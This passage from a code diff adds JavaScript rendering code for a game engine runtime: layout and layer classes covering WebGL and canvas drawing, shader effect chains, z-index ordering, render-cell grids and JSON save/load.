+ glw.setBlend(inst.srcBlend, inst.destBlend);
+ else if (layer)
+ glw.setBlend(layer.srcBlend, layer.destBlend);
+ else
+ {
+ if (!this.runtime.fullscreenScalingQuality)
+ {
+ glw.setSize(this.runtime.width, this.runtime.height);
+ halfw = this.runtime.width / 2;
+ halfh = this.runtime.height / 2;
+ screenleft = 0;
+ screentop = 0;
+ screenright = this.runtime.width;
+ screenbottom = this.runtime.height;
+ }
+ }
+ glw.setRenderingToTexture(rendertarget);
+ glw.setTexture(fx_tex[other_fx_index]);
+ glw.resetModelView();
+ glw.translate(-halfw, -halfh);
+ glw.updateModelView();
+ if (inst && active_effect_types.length === 1 && !pre_draw)
+ glw.quadTex(screenleft, screentop, screenright, screentop, screenright, screenbottom, screenleft, screenbottom, rcTex);
+ else
+ glw.quadTex(screenleft, screenbottom, screenright, screenbottom, screenright, screentop, screenleft, screentop, rcTex);
+ glw.setTexture(null);
+ }
+ };
+ Layout.prototype.getLayerBySid = function (sid_)
+ {
+ var i, len;
+ for (i = 0, len = this.layers.length; i < len; i++)
+ {
+ if (this.layers[i].sid === sid_)
+ return this.layers[i];
+ }
+ return null;
+ };
+ Layout.prototype.saveToJSON = function ()
+ {
+ var i, len, layer, et;
+ var o = {
+ "sx": this.scrollX,
+ "sy": this.scrollY,
+ "s": this.scale,
+ "a": this.angle,
+ "w": this.width,
+ "h": this.height,
+ "fv": this.first_visit, // added r127
+ "persist": this.persist_data,
+ "fx": [],
+ "layers": {}
+ };
+ for (i = 0, len = this.effect_types.length; i < len; i++)
+ {
+ et = this.effect_types[i];
+ o["fx"].push({"name": et.name, "active": et.active, "params": this.effect_params[et.index] });
+ }
+ for (i = 0, len = this.layers.length; i < len; i++)
+ {
+ layer = this.layers[i];
+ o["layers"][layer.sid.toString()] = layer.saveToJSON();
+ }
+ return o;
+ };
+ Layout.prototype.loadFromJSON = function (o)
+ {
+ var i, j, len, fx, p, layer;
+ this.scrollX = o["sx"];
+ this.scrollY = o["sy"];
+ this.scale = o["s"];
+ this.angle = o["a"];
+ this.width = o["w"];
+ this.height = o["h"];
+ this.persist_data = o["persist"];
+ if (typeof o["fv"] !== "undefined")
+ this.first_visit = o["fv"];
+ var ofx = o["fx"];
+ for (i = 0, len = ofx.length; i < len; i++)
+ {
+ fx = this.getEffectByName(ofx[i]["name"]);
+ if (!fx)
+ continue; // must've gone missing
+ fx.active = ofx[i]["active"];
+ this.effect_params[fx.index] = ofx[i]["params"];
+ }
+ this.updateActiveEffects();
+ var olayers = o["layers"];
+ for (p in olayers)
+ {
+ if (olayers.hasOwnProperty(p))
+ {
+ layer = this.getLayerBySid(parseInt(p, 10));
+ if (!layer)
+ continue; // must've gone missing
+ layer.loadFromJSON(olayers[p]);
+ }
+ }
+ };
+ cr.layout = Layout;
+ function Layer(layout, m)
+ {
+ this.layout = layout;
+ this.runtime = layout.runtime;
+ this.instances = []; // running instances
+ this.scale = 1.0;
+ this.angle = 0;
+ this.disableAngle = false;
+ this.tmprect = new cr.rect(0, 0, 0, 0);
+ this.tmpquad = new cr.quad();
+ this.viewLeft = 0;
+ this.viewRight = 0;
+ this.viewTop = 0;
+ this.viewBottom = 0;
+ this.zindices_stale = false;
+ this.zindices_stale_from = -1; // first index that has changed, or -1 if no bound
+ this.clear_earlyz_index = 0;
+ this.name = m[0];
+ this.index = m[1];
+ this.sid = m[2];
+ this.visible = m[3]; // initially visible
+ this.background_color = m[4];
+ this.transparent = m[5];
+ this.parallaxX = m[6];
+ this.parallaxY = m[7];
+ this.opacity = m[8];
+ this.forceOwnTexture = m[9];
+ this.useRenderCells = m[10];
+ this.zoomRate = m[11];
+ this.blend_mode = m[12];
+ this.effect_fallback = m[13];
+ this.compositeOp = "source-over";
+ this.srcBlend = 0;
+ this.destBlend = 0;
+ this.render_grid = null;
+ this.last_render_list = alloc_arr();
+ this.render_list_stale = true;
+ this.last_render_cells = new cr.rect(0, 0, -1, -1);
+ this.cur_render_cells = new cr.rect(0, 0, -1, -1);
+ if (this.useRenderCells)
+ {
+ this.render_grid = new cr.RenderGrid(this.runtime.original_width, this.runtime.original_height);
+ }
+ this.render_offscreen = false;
+ var im = m[14];
+ var i, len;
+ this.startup_initial_instances = []; // for restoring initial_instances after load
+ this.initial_instances = [];
+ this.created_globals = []; // global object UIDs already created - for save/load to avoid recreating
+ for (i = 0, len = im.length; i < len; i++)
+ {
+ var inst = im[i];
+ var type = this.runtime.types_by_index[inst[1]];
+;
+ if (!type.default_instance)
+ {
+ type.default_instance = inst;
+ type.default_layerindex = this.index;
+ }
+ this.initial_instances.push(inst);
+ if (this.layout.initial_types.indexOf(type) === -1)
+ this.layout.initial_types.push(type);
+ }
+ cr.shallowAssignArray(this.startup_initial_instances, this.initial_instances);
+ this.effect_types = [];
+ this.active_effect_types = [];
+ this.shaders_preserve_opaqueness = true;
+ this.effect_params = [];
+ for (i = 0, len = m[15].length; i < len; i++)
+ {
+ this.effect_types.push({
+ id: m[15][i][0],
+ name: m[15][i][1],
+ shaderindex: -1,
+ preservesOpaqueness: false,
+ active: true,
+ index: i
+ });
+ this.effect_params.push(m[15][i][2].slice(0));
+ }
+ this.updateActiveEffects();
+ this.rcTex = new cr.rect(0, 0, 1, 1);
+ this.rcTex2 = new cr.rect(0, 0, 1, 1);
+ };
+ Layer.prototype.updateActiveEffects = function ()
+ {
+ cr.clearArray(this.active_effect_types);
+ this.shaders_preserve_opaqueness = true;
+ var i, len, et;
+ for (i = 0, len = this.effect_types.length; i < len; i++)
+ {
+ et = this.effect_types[i];
+ if (et.active)
+ {
+ this.active_effect_types.push(et);
+ if (!et.preservesOpaqueness)
+ this.shaders_preserve_opaqueness = false;
+ }
+ }
+ };
+ Layer.prototype.getEffectByName = function (name_)
+ {
+ var i, len, et;
+ for (i = 0, len = this.effect_types.length; i < len; i++)
+ {
+ et = this.effect_types[i];
+ if (et.name === name_)
+ return et;
+ }
+ return null;
+ };
+ Layer.prototype.createInitialInstances = function ()
+ {
+ var i, k, len, inst, initial_inst, type, keep, hasPersistBehavior;
+ for (i = 0, k = 0, len = this.initial_instances.length; i < len; i++)
+ {
+ initial_inst = this.initial_instances[i];
+ type = this.runtime.types_by_index[initial_inst[1]];
+;
+ hasPersistBehavior = this.runtime.typeHasPersistBehavior(type);
+ keep = true;
+ if (!hasPersistBehavior || this.layout.first_visit)
+ {
+ inst = this.runtime.createInstanceFromInit(initial_inst, this, true);
+ if (!inst)
+ continue; // may have skipped creation due to fallback effect "destroy"
+ created_instances.push(inst);
+ if (inst.type.global)
+ {
+ keep = false;
+ this.created_globals.push(inst.uid);
+ }
+ }
+ if (keep)
+ {
+ this.initial_instances[k] = this.initial_instances[i];
+ k++;
+ }
+ }
+ this.initial_instances.length = k;
+ this.runtime.ClearDeathRow(); // flushes creation row so IIDs will be correct
+ if (!this.runtime.glwrap && this.effect_types.length) // no WebGL renderer and shaders used
+ this.blend_mode = this.effect_fallback; // use fallback blend mode
+ this.compositeOp = cr.effectToCompositeOp(this.blend_mode);
+ if (this.runtime.gl)
+ cr.setGLBlend(this, this.blend_mode, this.runtime.gl);
+ this.render_list_stale = true;
+ };
+ Layer.prototype.recreateInitialObjects = function (only_type, rc)
+ {
+ var i, len, initial_inst, type, wm, x, y, inst, j, lenj, s;
+ var types_by_index = this.runtime.types_by_index;
+ var only_type_is_family = only_type.is_family;
+ var only_type_members = only_type.members;
+ for (i = 0, len = this.initial_instances.length; i < len; ++i)
+ {
+ initial_inst = this.initial_instances[i];
+ wm = initial_inst[0];
+ x = wm[0];
+ y = wm[1];
+ if (!rc.contains_pt(x, y))
+ continue; // not in the given area
+ type = types_by_index[initial_inst[1]];
+ if (type !== only_type)
+ {
+ if (only_type_is_family)
+ {
+ if (only_type_members.indexOf(type) < 0)
+ continue;
+ }
+ else
+ continue; // only_type is not a family, and the initial inst type does not match
+ }
+ inst = this.runtime.createInstanceFromInit(initial_inst, this, false);
+ this.runtime.isInOnDestroy++;
+ this.runtime.trigger(Object.getPrototypeOf(type.plugin).cnds.OnCreated, inst);
+ if (inst.is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[i];
+ this.runtime.trigger(Object.getPrototypeOf(s.type.plugin).cnds.OnCreated, s);
+ }
+ }
+ this.runtime.isInOnDestroy--;
+ }
+ };
+ Layer.prototype.removeFromInstanceList = function (inst, remove_from_grid)
+ {
+ var index = cr.fastIndexOf(this.instances, inst);
+ if (index < 0)
+ return; // not found
+ if (remove_from_grid && this.useRenderCells && inst.rendercells && inst.rendercells.right >= inst.rendercells.left)
+ {
+ inst.update_bbox(); // make sure actually in its current rendercells
+ this.render_grid.update(inst, inst.rendercells, null); // no new range provided - remove only
+ inst.rendercells.set(0, 0, -1, -1); // set to invalid state to indicate not inserted
+ }
+ if (index === this.instances.length - 1)
+ this.instances.pop();
+ else
+ {
+ cr.arrayRemove(this.instances, index);
+ this.setZIndicesStaleFrom(index);
+ }
+ this.render_list_stale = true;
+ };
+ Layer.prototype.appendToInstanceList = function (inst, add_to_grid)
+ {
+;
+ inst.zindex = this.instances.length;
+ this.instances.push(inst);
+ if (add_to_grid && this.useRenderCells && inst.rendercells)
+ {
+ inst.set_bbox_changed(); // will cause immediate update and new insertion to grid
+ }
+ this.render_list_stale = true;
+ };
+ Layer.prototype.prependToInstanceList = function (inst, add_to_grid)
+ {
+;
+ this.instances.unshift(inst);
+ this.setZIndicesStaleFrom(0);
+ if (add_to_grid && this.useRenderCells && inst.rendercells)
+ {
+ inst.set_bbox_changed(); // will cause immediate update and new insertion to grid
+ }
+ };
+ Layer.prototype.moveInstanceAdjacent = function (inst, other, isafter)
+ {
+;
+ var myZ = inst.get_zindex();
+ var insertZ = other.get_zindex();
+ cr.arrayRemove(this.instances, myZ);
+ if (myZ < insertZ)
+ insertZ--;
+ if (isafter)
+ insertZ++;
+ if (insertZ === this.instances.length)
+ this.instances.push(inst);
+ else
+ this.instances.splice(insertZ, 0, inst);
+ this.setZIndicesStaleFrom(myZ < insertZ ? myZ : insertZ);
+ };
+ Layer.prototype.setZIndicesStaleFrom = function (index)
+ {
+ if (this.zindices_stale_from === -1) // not yet set
+ this.zindices_stale_from = index;
+ else if (index < this.zindices_stale_from) // determine minimum z index affected
+ this.zindices_stale_from = index;
+ this.zindices_stale = true;
+ this.render_list_stale = true;
+ };
+ Layer.prototype.updateZIndices = function ()
+ {
+ if (!this.zindices_stale)
+ return;
+ if (this.zindices_stale_from === -1)
+ this.zindices_stale_from = 0;
+ var i, len, inst;
+ if (this.useRenderCells)
+ {
+ for (i = this.zindices_stale_from, len = this.instances.length; i < len; ++i)
+ {
+ inst = this.instances[i];
+ inst.zindex = i;
+ this.render_grid.markRangeChanged(inst.rendercells);
+ }
+ }
+ else
+ {
+ for (i = this.zindices_stale_from, len = this.instances.length; i < len; ++i)
+ {
+ this.instances[i].zindex = i;
+ }
+ }
+ this.zindices_stale = false;
+ this.zindices_stale_from = -1;
+ };
+ Layer.prototype.getScale = function (include_aspect)
+ {
+ return this.getNormalScale() * (this.runtime.fullscreenScalingQuality || include_aspect ? this.runtime.aspect_scale : 1);
+ };
+ Layer.prototype.getNormalScale = function ()
+ {
+ return ((this.scale * this.layout.scale) - 1) * this.zoomRate + 1;
+ };
+ Layer.prototype.getAngle = function ()
+ {
+ if (this.disableAngle)
+ return 0;
+ return cr.clamp_angle(this.layout.angle + this.angle);
+ };
+ var arr_cache = [];
+ function alloc_arr()
+ {
+ if (arr_cache.length)
+ return arr_cache.pop();
+ else
+ return [];
+ }
+ function free_arr(a)
+ {
+ cr.clearArray(a);
+ arr_cache.push(a);
+ };
+ function mergeSortedZArrays(a, b, out)
+ {
+ var i = 0, j = 0, k = 0, lena = a.length, lenb = b.length, ai, bj;
+ out.length = lena + lenb;
+ for ( ; i < lena && j < lenb; ++k)
+ {
+ ai = a[i];
+ bj = b[j];
+ if (ai.zindex < bj.zindex)
+ {
+ out[k] = ai;
+ ++i;
+ }
+ else
+ {
+ out[k] = bj;
+ ++j;
+ }
+ }
+ for ( ; i < lena; ++i, ++k)
+ out[k] = a[i];
+ for ( ; j < lenb; ++j, ++k)
+ out[k] = b[j];
+ };
+ var next_arr = [];
+ function mergeAllSortedZArrays_pass(arr, first_pass)
+ {
+ var i, len, arr1, arr2, out;
+ for (i = 0, len = arr.length; i < len - 1; i += 2)
+ {
+ arr1 = arr[i];
+ arr2 = arr[i+1];
+ out = alloc_arr();
+ mergeSortedZArrays(arr1, arr2, out);
+ if (!first_pass)
+ {
+ free_arr(arr1);
+ free_arr(arr2);
+ }
+ next_arr.push(out);
+ }
+ if (len % 2 === 1)
+ {
+ if (first_pass)
+ {
+ arr1 = alloc_arr();
+ cr.shallowAssignArray(arr1, arr[len - 1]);
+ next_arr.push(arr1);
+ }
+ else
+ {
+ next_arr.push(arr[len - 1]);
+ }
+ }
+ cr.shallowAssignArray(arr, next_arr);
+ cr.clearArray(next_arr);
+ };
+ function mergeAllSortedZArrays(arr)
+ {
+ var first_pass = true;
+ while (arr.length > 1)
+ {
+ mergeAllSortedZArrays_pass(arr, first_pass);
+ first_pass = false;
+ }
+ return arr[0];
+ };
+ var render_arr = [];
+ Layer.prototype.getRenderCellInstancesToDraw = function ()
+ {
+;
+ this.updateZIndices();
+ this.render_grid.queryRange(this.viewLeft, this.viewTop, this.viewRight, this.viewBottom, render_arr);
+ if (!render_arr.length)
+ return alloc_arr();
+ if (render_arr.length === 1)
+ {
+ var a = alloc_arr();
+ cr.shallowAssignArray(a, render_arr[0]);
+ cr.clearArray(render_arr);
+ return a;
+ }
+ var draw_list = mergeAllSortedZArrays(render_arr);
+ cr.clearArray(render_arr);
+ return draw_list;
+ };
+ Layer.prototype.draw = function (ctx)
+ {
+ this.render_offscreen = (this.forceOwnTexture || this.opacity !== 1.0 || this.blend_mode !== 0);
+ var layer_canvas = this.runtime.canvas;
+ var layer_ctx = ctx;
+ var ctx_changed = false;
+ if (this.render_offscreen)
+ {
+ if (!this.runtime.layer_canvas)
+ {
+ this.runtime.layer_canvas = document.createElement("canvas");
+;
+ layer_canvas = this.runtime.layer_canvas;
+ layer_canvas.width = this.runtime.draw_width;
+ layer_canvas.height = this.runtime.draw_height;
+ this.runtime.layer_ctx = layer_canvas.getContext("2d");
+;
+ ctx_changed = true;
+ }
+ layer_canvas = this.runtime.layer_canvas;
+ layer_ctx = this.runtime.layer_ctx;
+ if (layer_canvas.width !== this.runtime.draw_width)
+ {
+ layer_canvas.width = this.runtime.draw_width;
+ ctx_changed = true;
+ }
+ if (layer_canvas.height !== this.runtime.draw_height)
+ {
+ layer_canvas.height = this.runtime.draw_height;
+ ctx_changed = true;
+ }
+ if (ctx_changed)
+ {
+ this.runtime.setCtxImageSmoothingEnabled(layer_ctx, this.runtime.linearSampling);
+ }
+ if (this.transparent)
+ layer_ctx.clearRect(0, 0, this.runtime.draw_width, this.runtime.draw_height);
+ }
+ layer_ctx.globalAlpha = 1;
+ layer_ctx.globalCompositeOperation = "source-over";
+ if (!this.transparent)
+ {
+ layer_ctx.fillStyle = "rgb(" + this.background_color[0] + "," + this.background_color[1] + "," + this.background_color[2] + ")";
+ layer_ctx.fillRect(0, 0, this.runtime.draw_width, this.runtime.draw_height);
+ }
+ layer_ctx.save();
+ this.disableAngle = true;
+ var px = this.canvasToLayer(0, 0, true, true);
+ var py = this.canvasToLayer(0, 0, false, true);
+ this.disableAngle = false;
+ if (this.runtime.pixel_rounding)
+ {
+ px = Math.round(px);
+ py = Math.round(py);
+ }
+ this.rotateViewport(px, py, layer_ctx);
+ var myscale = this.getScale();
+ layer_ctx.scale(myscale, myscale);
+ layer_ctx.translate(-px, -py);
+ var instances_to_draw;
+ if (this.useRenderCells)
+ {
+ this.cur_render_cells.left = this.render_grid.XToCell(this.viewLeft);
+ this.cur_render_cells.top = this.render_grid.YToCell(this.viewTop);
+ this.cur_render_cells.right = this.render_grid.XToCell(this.viewRight);
+ this.cur_render_cells.bottom = this.render_grid.YToCell(this.viewBottom);
+ if (this.render_list_stale || !this.cur_render_cells.equals(this.last_render_cells))
+ {
+ free_arr(this.last_render_list);
+ instances_to_draw = this.getRenderCellInstancesToDraw();
+ this.render_list_stale = false;
+ this.last_render_cells.copy(this.cur_render_cells);
+ }
+ else
+ instances_to_draw = this.last_render_list;
+ }
+ else
+ instances_to_draw = this.instances;
+ var i, len, inst, last_inst = null;
+ for (i = 0, len = instances_to_draw.length; i < len; ++i)
+ {
+ inst = instances_to_draw[i];
+ if (inst === last_inst)
+ continue;
+ this.drawInstance(inst, layer_ctx);
+ last_inst = inst;
+ }
+ if (this.useRenderCells)
+ this.last_render_list = instances_to_draw;
+ layer_ctx.restore();
+ if (this.render_offscreen)
+ {
+ ctx.globalCompositeOperation = this.compositeOp;
+ ctx.globalAlpha = this.opacity;
+ ctx.drawImage(layer_canvas, 0, 0);
+ }
+ };
+ Layer.prototype.drawInstance = function(inst, layer_ctx)
+ {
+ if (!inst.visible || inst.width === 0 || inst.height === 0)
+ return;
+ inst.update_bbox();
+ var bbox = inst.bbox;
+ if (bbox.right < this.viewLeft || bbox.bottom < this.viewTop || bbox.left > this.viewRight || bbox.top > this.viewBottom)
+ return;
+ layer_ctx.globalCompositeOperation = inst.compositeOp;
+ inst.draw(layer_ctx);
+ };
+ Layer.prototype.updateViewport = function (ctx)
+ {
+ this.disableAngle = true;
+ var px = this.canvasToLayer(0, 0, true, true);
+ var py = this.canvasToLayer(0, 0, false, true);
+ this.disableAngle = false;
+ if (this.runtime.pixel_rounding)
+ {
+ px = Math.round(px);
+ py = Math.round(py);
+ }
+ this.rotateViewport(px, py, ctx);
+ };
+ Layer.prototype.rotateViewport = function (px, py, ctx)
+ {
+ var myscale = this.getScale();
+ this.viewLeft = px;
+ this.viewTop = py;
+ this.viewRight = px + (this.runtime.draw_width * (1 / myscale));
+ this.viewBottom = py + (this.runtime.draw_height * (1 / myscale));
+ var temp;
+ if (this.viewLeft > this.viewRight)
+ {
+ temp = this.viewLeft;
+ this.viewLeft = this.viewRight;
+ this.viewRight = temp;
+ }
+ if (this.viewTop > this.viewBottom)
+ {
+ temp = this.viewTop;
+ this.viewTop = this.viewBottom;
+ this.viewBottom = temp;
+ }
+ var myAngle = this.getAngle();
+ if (myAngle !== 0)
+ {
+ if (ctx)
+ {
+ ctx.translate(this.runtime.draw_width / 2, this.runtime.draw_height / 2);
+ ctx.rotate(-myAngle);
+ ctx.translate(this.runtime.draw_width / -2, this.runtime.draw_height / -2);
+ }
+ this.tmprect.set(this.viewLeft, this.viewTop, this.viewRight, this.viewBottom);
+ this.tmprect.offset((this.viewLeft + this.viewRight) / -2, (this.viewTop + this.viewBottom) / -2);
+ this.tmpquad.set_from_rotated_rect(this.tmprect, myAngle);
+ this.tmpquad.bounding_box(this.tmprect);
+ this.tmprect.offset((this.viewLeft + this.viewRight) / 2, (this.viewTop + this.viewBottom) / 2);
+ this.viewLeft = this.tmprect.left;
+ this.viewTop = this.tmprect.top;
+ this.viewRight = this.tmprect.right;
+ this.viewBottom = this.tmprect.bottom;
+ }
+ }
+ Layer.prototype.drawGL_earlyZPass = function (glw)
+ {
+ var windowWidth = this.runtime.draw_width;
+ var windowHeight = this.runtime.draw_height;
+ var shaderindex = 0;
+ var etindex = 0;
+ this.render_offscreen = this.forceOwnTexture;
+ if (this.render_offscreen)
+ {
+ if (!this.runtime.layer_tex)
+ {
+ this.runtime.layer_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ if (this.runtime.layer_tex.c2width !== this.runtime.draw_width || this.runtime.layer_tex.c2height !== this.runtime.draw_height)
+ {
+ glw.deleteTexture(this.runtime.layer_tex);
+ this.runtime.layer_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ glw.setRenderingToTexture(this.runtime.layer_tex);
+ }
+ this.disableAngle = true;
+ var px = this.canvasToLayer(0, 0, true, true);
+ var py = this.canvasToLayer(0, 0, false, true);
+ this.disableAngle = false;
+ if (this.runtime.pixel_rounding)
+ {
+ px = Math.round(px);
+ py = Math.round(py);
+ }
+ this.rotateViewport(px, py, null);
+ var myscale = this.getScale();
+ glw.resetModelView();
+ glw.scale(myscale, myscale);
+ glw.rotateZ(-this.getAngle());
+ glw.translate((this.viewLeft + this.viewRight) / -2, (this.viewTop + this.viewBottom) / -2);
+ glw.updateModelView();
+ var instances_to_draw;
+ if (this.useRenderCells)
+ {
+ this.cur_render_cells.left = this.render_grid.XToCell(this.viewLeft);
+ this.cur_render_cells.top = this.render_grid.YToCell(this.viewTop);
+ this.cur_render_cells.right = this.render_grid.XToCell(this.viewRight);
+ this.cur_render_cells.bottom = this.render_grid.YToCell(this.viewBottom);
+ if (this.render_list_stale || !this.cur_render_cells.equals(this.last_render_cells))
+ {
+ free_arr(this.last_render_list);
+ instances_to_draw = this.getRenderCellInstancesToDraw();
+ this.render_list_stale = false;
+ this.last_render_cells.copy(this.cur_render_cells);
+ }
+ else
+ instances_to_draw = this.last_render_list;
+ }
+ else
+ instances_to_draw = this.instances;
+ var i, inst, last_inst = null;
+ for (i = instances_to_draw.length - 1; i >= 0; --i)
+ {
+ inst = instances_to_draw[i];
+ if (inst === last_inst)
+ continue;
+ this.drawInstanceGL_earlyZPass(instances_to_draw[i], glw);
+ last_inst = inst;
+ }
+ if (this.useRenderCells)
+ this.last_render_list = instances_to_draw;
+ if (!this.transparent)
+ {
+ this.clear_earlyz_index = this.runtime.earlyz_index++;
+ glw.setEarlyZIndex(this.clear_earlyz_index);
+ glw.setColorFillMode(1, 1, 1, 1);
+ glw.fullscreenQuad(); // fill remaining space in depth buffer with current Z value
+ glw.restoreEarlyZMode();
+ }
+ };
+ Layer.prototype.drawGL = function (glw)
+ {
+ var windowWidth = this.runtime.draw_width;
+ var windowHeight = this.runtime.draw_height;
+ var shaderindex = 0;
+ var etindex = 0;
+ this.render_offscreen = (this.forceOwnTexture || this.opacity !== 1.0 || this.active_effect_types.length > 0 || this.blend_mode !== 0);
+ if (this.render_offscreen)
+ {
+ if (!this.runtime.layer_tex)
+ {
+ this.runtime.layer_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ if (this.runtime.layer_tex.c2width !== this.runtime.draw_width || this.runtime.layer_tex.c2height !== this.runtime.draw_height)
+ {
+ glw.deleteTexture(this.runtime.layer_tex);
+ this.runtime.layer_tex = glw.createEmptyTexture(this.runtime.draw_width, this.runtime.draw_height, this.runtime.linearSampling);
+ }
+ glw.setRenderingToTexture(this.runtime.layer_tex);
+ if (this.transparent)
+ glw.clear(0, 0, 0, 0);
+ }
+ if (!this.transparent)
+ {
+ if (this.runtime.enableFrontToBack)
+ {
+ glw.setEarlyZIndex(this.clear_earlyz_index);
+ glw.setColorFillMode(this.background_color[0] / 255, this.background_color[1] / 255, this.background_color[2] / 255, 1);
+ glw.fullscreenQuad();
+ glw.setTextureFillMode();
+ }
+ else
+ {
+ glw.clear(this.background_color[0] / 255, this.background_color[1] / 255, this.background_color[2] / 255, 1);
+ }
+ }
+ this.disableAngle = true;
+ var px = this.canvasToLayer(0, 0, true, true);
+ var py = this.canvasToLayer(0, 0, false, true);
+ this.disableAngle = false;
+ if (this.runtime.pixel_rounding)
+ {
+ px = Math.round(px);
+ py = Math.round(py);
+ }
+ this.rotateViewport(px, py, null);
+ var myscale = this.getScale();
+ glw.resetModelView();
+ glw.scale(myscale, myscale);
+ glw.rotateZ(-this.getAngle());
+ glw.translate((this.viewLeft + this.viewRight) / -2, (this.viewTop + this.viewBottom) / -2);
+ glw.updateModelView();
+ var instances_to_draw;
+ if (this.useRenderCells)
+ {
+ this.cur_render_cells.left = this.render_grid.XToCell(this.viewLeft);
+ this.cur_render_cells.top = this.render_grid.YToCell(this.viewTop);
+ this.cur_render_cells.right = this.render_grid.XToCell(this.viewRight);
+ this.cur_render_cells.bottom = this.render_grid.YToCell(this.viewBottom);
+ if (this.render_list_stale || !this.cur_render_cells.equals(this.last_render_cells))
+ {
+ free_arr(this.last_render_list);
+ instances_to_draw = this.getRenderCellInstancesToDraw();
+ this.render_list_stale = false;
+ this.last_render_cells.copy(this.cur_render_cells);
+ }
+ else
+ instances_to_draw = this.last_render_list;
+ }
+ else
+ instances_to_draw = this.instances;
+ var i, len, inst, last_inst = null;
+ for (i = 0, len = instances_to_draw.length; i < len; ++i)
+ {
+ inst = instances_to_draw[i];
+ if (inst === last_inst)
+ continue;
+ this.drawInstanceGL(instances_to_draw[i], glw);
+ last_inst = inst;
+ }
+ if (this.useRenderCells)
+ this.last_render_list = instances_to_draw;
+ if (this.render_offscreen)
+ {
+ shaderindex = this.active_effect_types.length ? this.active_effect_types[0].shaderindex : 0;
+ etindex = this.active_effect_types.length ? this.active_effect_types[0].index : 0;
+ if (this.active_effect_types.length === 0 || (this.active_effect_types.length === 1 &&
+ !glw.programUsesCrossSampling(shaderindex) && this.opacity === 1))
+ {
+ if (this.active_effect_types.length === 1)
+ {
+ glw.switchProgram(shaderindex);
+ glw.setProgramParameters(this.layout.getRenderTarget(), // backTex
+ 1.0 / this.runtime.draw_width, // pixelWidth
+ 1.0 / this.runtime.draw_height, // pixelHeight
+ 0.0, 0.0, // destStart
+ 1.0, 1.0, // destEnd
+ myscale, // layerScale
+ this.getAngle(),
+ this.viewLeft, this.viewTop,
+ (this.viewLeft + this.viewRight) / 2, (this.viewTop + this.viewBottom) / 2,
+ this.runtime.kahanTime.sum,
+ this.effect_params[etindex]); // fx parameters
+ if (glw.programIsAnimated(shaderindex))
+ this.runtime.redraw = true;
+ }
+ else
+ glw.switchProgram(0);
+ glw.setRenderingToTexture(this.layout.getRenderTarget());
+ glw.setOpacity(this.opacity);
+ glw.setTexture(this.runtime.layer_tex);
+ glw.setBlend(this.srcBlend, this.destBlend);
+ glw.resetModelView();
+ glw.updateModelView();
+ var halfw = this.runtime.draw_width / 2;
+ var halfh = this.runtime.draw_height / 2;
+ glw.quad(-halfw, halfh, halfw, halfh, halfw, -halfh, -halfw, -halfh);
+ glw.setTexture(null);
+ }
+ else
+ {
+ this.layout.renderEffectChain(glw, this, null, this.layout.getRenderTarget());
+ }
+ }
+ };
+ Layer.prototype.drawInstanceGL = function (inst, glw)
+ {
+;
+ if (!inst.visible || inst.width === 0 || inst.height === 0)
+ return;
+ inst.update_bbox();
+ var bbox = inst.bbox;
+ if (bbox.right < this.viewLeft || bbox.bottom < this.viewTop || bbox.left > this.viewRight || bbox.top > this.viewBottom)
+ return;
+ glw.setEarlyZIndex(inst.earlyz_index);
+ if (inst.uses_shaders)
+ {
+ this.drawInstanceWithShadersGL(inst, glw);
+ }
+ else
+ {
+ glw.switchProgram(0); // un-set any previously set shader
+ glw.setBlend(inst.srcBlend, inst.destBlend);
+ inst.drawGL(glw);
+ }
+ };
+ Layer.prototype.drawInstanceGL_earlyZPass = function (inst, glw)
+ {
+;
+ if (!inst.visible || inst.width === 0 || inst.height === 0)
+ return;
+ inst.update_bbox();
+ var bbox = inst.bbox;
+ if (bbox.right < this.viewLeft || bbox.bottom < this.viewTop || bbox.left > this.viewRight || bbox.top > this.viewBottom)
+ return;
+ inst.earlyz_index = this.runtime.earlyz_index++;
+ if (inst.blend_mode !== 0 || inst.opacity !== 1 || !inst.shaders_preserve_opaqueness || !inst.drawGL_earlyZPass)
+ return;
+ glw.setEarlyZIndex(inst.earlyz_index);
+ inst.drawGL_earlyZPass(glw);
+ };
+ Layer.prototype.drawInstanceWithShadersGL = function (inst, glw)
+ {
+ var shaderindex = inst.active_effect_types[0].shaderindex;
+ var etindex = inst.active_effect_types[0].index;
+ var myscale = this.getScale();
+ if (inst.active_effect_types.length === 1 && !glw.programUsesCrossSampling(shaderindex) &&
+ !glw.programExtendsBox(shaderindex) && ((!inst.angle && !inst.layer.getAngle()) || !glw.programUsesDest(shaderindex)) &&
+ inst.opacity === 1 && !inst.type.plugin.must_predraw)
+ {
+ glw.switchProgram(shaderindex);
+ glw.setBlend(inst.srcBlend, inst.destBlend);
+ if (glw.programIsAnimated(shaderindex))
+ this.runtime.redraw = true;
+ var destStartX = 0, destStartY = 0, destEndX = 0, destEndY = 0;
+ if (glw.programUsesDest(shaderindex))
+ {
+ var bbox = inst.bbox;
+ var screenleft = this.layerToCanvas(bbox.left, bbox.top, true, true);
+ var screentop = this.layerToCanvas(bbox.left, bbox.top, false, true);
+ var screenright = this.layerToCanvas(bbox.right, bbox.bottom, true, true);
+ var screenbottom = this.layerToCanvas(bbox.right, bbox.bottom, false, true);
+ destStartX = screenleft / windowWidth;
+ destStartY = 1 - screentop / windowHeight;
+ destEndX = screenright / windowWidth;
+ destEndY = 1 - screenbottom / windowHeight;
+ }
+ var pixelWidth;
+ var pixelHeight;
+ if (inst.curFrame && inst.curFrame.texture_img)
+ {
+ var img = inst.curFrame.texture_img;
+ pixelWidth = 1.0 / img.width;
+ pixelHeight = 1.0 / img.height;
+ }
+ else
+ {
+ pixelWidth = 1.0 / inst.width;
+ pixelHeight = 1.0 / inst.height;
+ }
+ glw.setProgramParameters(this.render_offscreen ? this.runtime.layer_tex : this.layout.getRenderTarget(), // backTex
+ pixelWidth,
+ pixelHeight,
+ destStartX, destStartY,
+ destEndX, destEndY,
+ myscale,
+ this.getAngle(),
+ this.viewLeft, this.viewTop,
+ (this.viewLeft + this.viewRight) / 2, (this.viewTop + this.viewBottom) / 2,
+ this.runtime.kahanTime.sum,
+ inst.effect_params[etindex]);
+ inst.drawGL(glw);
+ }
+ else
+ {
+ this.layout.renderEffectChain(glw, this, inst, this.render_offscreen ? this.runtime.layer_tex : this.layout.getRenderTarget());
